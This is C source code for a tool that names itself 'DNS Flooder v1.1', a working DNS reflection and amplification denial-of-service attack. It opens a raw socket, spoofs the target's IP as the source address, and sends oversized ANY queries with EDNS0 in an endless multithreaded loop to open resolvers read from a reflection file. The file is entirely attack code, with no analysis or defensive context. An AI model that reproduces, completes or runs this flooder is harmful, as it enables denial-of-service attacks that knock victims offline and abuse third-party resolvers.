dns.c

#include <time.h>
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 8192
#define PHI 0x9e3779b9
#define PACKETS_PER_RESOLVER 15

static uint32_t Q[4096], c = 362436;

struct list
{
    struct sockaddr_in data;
    char domain[512];
    int line;
    struct list *next;
    struct list *prev;
};
struct list *head;

struct thread_data{
    int thread_id;
    struct list *list_node;
    struct sockaddr_in sin;
    int port;
};

struct DNS_HEADER
{
    unsigned short id; // identification number

    unsigned char rd :1; // recursion desired
    unsigned char tc :1; // truncated message
    unsigned char aa :1; // authoritive answer
    unsigned char opcode :4; // purpose of message
    unsigned char qr :1; // query/response flag

    unsigned char rcode :4; // response code
    unsigned char cd :1; // checking disabled
    unsigned char ad :1; // authenticated data
    unsigned char z :1; // its z! reserved
    unsigned char ra :1; // recursion available

    unsigned short q_count; // number of question entries
    unsigned short ans_count; // number of answer entries
    unsigned short auth_count; // number of authority entries
    unsigned short add_count; // number of resource entries
};

//Constant sized fields of query structure
struct QUESTION
{
  unsigned short qtype;
  unsigned short qclass;
};

//Constant sized fields of the resource record structure
struct QUERY
{
    unsigned char *name;
    struct QUESTION *ques;
};

void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
    int lock = 0 , i;
    strcat((char*)host,".");

    for(i = 0 ; i < strlen((char*)host) ; i++)
    {
    if(host[i]=='.')
    {
    *dns++ = i-lock;
    for(;lock<i;lock++)
    {
    *dns++=host[lock];
    }
    lock++; //or lock=i+1;
    }
    }
    *dns++='\0';
}

void init_rand(uint32_t x)
{
    int i;

    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;

    for (i = 3; i < 4096; i++)
    Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;
}

uint32_t rand_cmwc(void)
{
    uint64_t t, a = 18782LL;
    static uint32_t i = 4095;
    uint32_t x, r = 0xffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c) {
    x++;
    c++;
    }
    return (Q[i] = r - x);
}

/* function for header checksums */
unsigned short csum (unsigned short *buf, int nwords)
{
    unsigned long sum;
    for (sum = 0; nwords > 0; nwords--)
    sum += *buf++;
    sum = (sum >> 16) + (sum & 0xffff);
    sum += (sum >> 16);
    return (unsigned short)(~sum);
}

void setup_udp_header(struct udphdr *udph)
{

}

void *flood(void *par1)
{
    struct thread_data *td = (struct thread_data *)par1;

    char strPacket[MAX_PACKET_SIZE];
    int iPayloadSize = 0;

    struct sockaddr_in sin = td->sin;
    struct list *list_node = td->list_node;
    int iPort = td->port;

    int s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
    if(s < 0)
    {
    fprintf(stderr, "Could not open raw socket. You need to be root!\n");
    exit(-1);
    }

    //init random
    init_rand(time(NULL));

    // Clear the data
    memset(strPacket, 0, MAX_PACKET_SIZE);

    // Make the packet
    struct iphdr *iph = (struct iphdr *) &strPacket;
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + 38;
    iph->id = htonl(54321);
    iph->frag_off = 0;
    iph->ttl = MAXTTL;
    iph->protocol = IPPROTO_UDP;
    iph->check = 0;
    iph->saddr = inet_addr("192.168.5.100");

    iPayloadSize += sizeof(struct iphdr);

    struct udphdr *udph = (struct udphdr *) &strPacket[iPayloadSize];
    udph->source = htons(iPort);
    udph->dest = htons(53);
    udph->check = 0;

    iPayloadSize += sizeof(struct udphdr);

    struct DNS_HEADER *dns  = (struct DNS_HEADER *) &strPacket[iPayloadSize];
    dns->id = (unsigned short) htons(rand_cmwc());
    dns->qr = 0; //This is a query
    dns->opcode = 0; //This is a standard query
    dns->aa = 0; //Not Authoritative
    dns->tc = 0; //This message is not truncated
    dns->rd = 1; //Recursion Desired
    dns->ra = 0; //Recursion not available! hey we dont have it (lol)
    dns->z = 0;
    dns->ad = 0;
    dns->cd = 0;
    dns->rcode = 0;
    dns->q_count = htons(1); //we have only 1 question
    dns->ans_count = 0;
    dns->auth_count = 0;
    dns->add_count = htons(1);

    iPayloadSize += sizeof(struct DNS_HEADER);

    sin.sin_port = udph->source;
    iph->saddr = sin.sin_addr.s_addr;
    iph->daddr = list_node->data.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);

    char strDomain[512];
    int i;
    int j = 0;
    int iAdditionalSize = 0;
    while(1)
    {
    if(j==2){
    usleep(100);
    j=0;
    }

    //set the next node
    list_node = list_node->next;

    //Clear the old domain and question
    memset(&strPacket[iPayloadSize + iAdditionalSize], 0, iAdditionalSize+256);

    //add the chosen domain and question
    iAdditionalSize = 0;

    unsigned char *qname = (unsigned char*) &strPacket[iPayloadSize + iAdditionalSize];

    strcpy(strDomain, list_node->domain);
    ChangetoDnsNameFormat(qname, strDomain);
    //printf("!!%s %d\n", list_node->domain, list_node->line);

    iAdditionalSize += strlen(qname) + 1;

    struct QUESTION *qinfo = (struct QUESTION *) &strPacket[iPayloadSize + iAdditionalSize];
    qinfo->qtype = htons(255); //type of the query , A , MX , CNAME , NS etc
    qinfo->qclass = htons(1);

    iAdditionalSize += sizeof(struct QUESTION);

    strPacket[iPayloadSize + iAdditionalSize] = 0x00;
    strPacket[iPayloadSize + iAdditionalSize + 1] = 0x00;
    strPacket[iPayloadSize + iAdditionalSize + 2] = 0x29;
    strPacket[iPayloadSize + iAdditionalSize + 3] = 0x23;
    strPacket[iPayloadSize + iAdditionalSize + 4] = 0x28;
    strPacket[iPayloadSize + iAdditionalSize + 5] = 0x00;
    strPacket[iPayloadSize + iAdditionalSize + 6] = 0x00;
    strPacket[iPayloadSize + iAdditionalSize + 7] = 0x00;
    strPacket[iPayloadSize + iAdditionalSize + 8] = 0x00;
    strPacket[iPayloadSize + iAdditionalSize + 9] = 0x00;
    strPacket[iPayloadSize + iAdditionalSize + 10] = 0x00;
    strPacket[iPayloadSize + iAdditionalSize + 11] = 0x00;

    iAdditionalSize += 11;

    //set new node data
    iph->daddr = list_node->data.sin_addr.s_addr;

    udph->len= htons((iPayloadSize + iAdditionalSize) - sizeof(struct iphdr));
    iph->tot_len = iPayloadSize + iAdditionalSize;

    udph->source = htons(rand_cmwc() & 0xFFFF);
    iph->check = csum ((unsigned short *) strPacket, iph->tot_len >> 1);

    //send
    for(i = 0; i < PACKETS_PER_RESOLVER; i++)
    {
    //usleep(1);
    sendto(s, strPacket, iph->tot_len, 0, (struct sockaddr *) &list_node->data, sizeof(list_node->data));
    }

    j++;
    }
}

void ParseResolverLine(char *strLine, int iLine)
{
  char caIP[32] = "";
  char caDNS[512] = "";

  int i;
  char buffer[512] = "";

  int moved = 0;

  for(i = 0; i < strlen(strLine); i++)
  {
    if(strLine[i] == ' ' || strLine[i] == '\n' || strLine[i] == '\t')
    {
    moved++;
    continue;
    }

    if(moved == 0)
    {
    caIP[strlen(caIP)] = (char) strLine[i];
    }
    else if(moved == 1)
    {
    caDNS[strlen(caDNS)] = (char) strLine[i];
    }
  }
  //printf("Found resolver %s, domain %s!\n", caIP, caDNS);

  if(head == NULL)
  {
    head = (struct list *)malloc(sizeof(struct list));

    bzero(&head->data, sizeof(head->data));

    head->data.sin_addr.s_addr=inet_addr(caIP);
    head->data.sin_port=htons(53);
    strcpy(head->domain, caDNS);
    head->line = iLine;
    head->next = head;
    head->prev = head;
  }
  else
  {
    struct list *new_node = (struct list *)malloc(sizeof(struct list));

    memset(new_node, 0x00, sizeof(struct list));

    new_node->data.sin_addr.s_addr=inet_addr(caIP);
    new_node->data.sin_port=htons(53);
    strcpy(new_node->domain, caDNS);
    new_node->prev = head;
    head->line = iLine;
    new_node->next = head->next;
    head->next = new_node;
  }
}

int main(int argc, char *argv[ ])
{
  if(argc < 4)
  {
    fprintf(stderr, "Invalid parameters!\n");
    fprintf(stderr, "DNS Flooder v1.1\nUsage: %s <target IP/hostname> <port to hit> <reflection file (format: IP DOMAIN>> <number threads to use> <time (optional)>\n", argv[0]);
    fprintf(stderr, "Reflection File Format: <IP>[space/tab]<DOMAIN>[space/tab]<IGNORED>[space/tab]<IGNORED>...\n");
    exit(-1);
  }

//  printf("1");
  head = NULL;

  char *strLine = (char *) malloc(256);
  strLine = memset(strLine, 0x00, 256);

  char strIP[32] = "";
  char strDomain[256] = "";

  int iLine = 0; // 0 = ip, 1 = domain.

  FILE *list_fd = fopen(argv[3],  "r");
  while(fgets(strLine, 256, list_fd) != NULL)
  {
    ParseResolverLine(strLine, iLine);
    iLine++;
  }
//printf("2");

  int i = 0;
  int num_threads = atoi(argv[4]);

  struct list *current = head->next;
  pthread_t thread[num_threads];
  struct sockaddr_in sin;
  sin.sin_family = AF_INET;
  sin.sin_port = htons(0);
  sin.sin_addr.s_addr = inet_addr(argv[1]);
  struct thread_data td[num_threads];

  int iPort = atoi(argv[2]);
//printf("3");
//printf("Target: %s:%d\n", argv[1], iPort);

  for(i = 0; i < num_threads; i++)
  {
    current = current->next;
    td[i].thread_id = i;
    td[i].sin= sin;
    td[i].list_node = current;
    td[i].port = iPort;
    pthread_create( &thread[i], NULL, &flood, (void *) &td[i]);
  }
//printf("4");
//  fprintf(stdout, "Starting Flood...\n");

  if(argc > 4)
  {
    sleep(atoi(argv[5]));
  }
  else
  {
    while(1)
    {
    sleep(1);
    }
  }
//printf("5");
  return 0;
}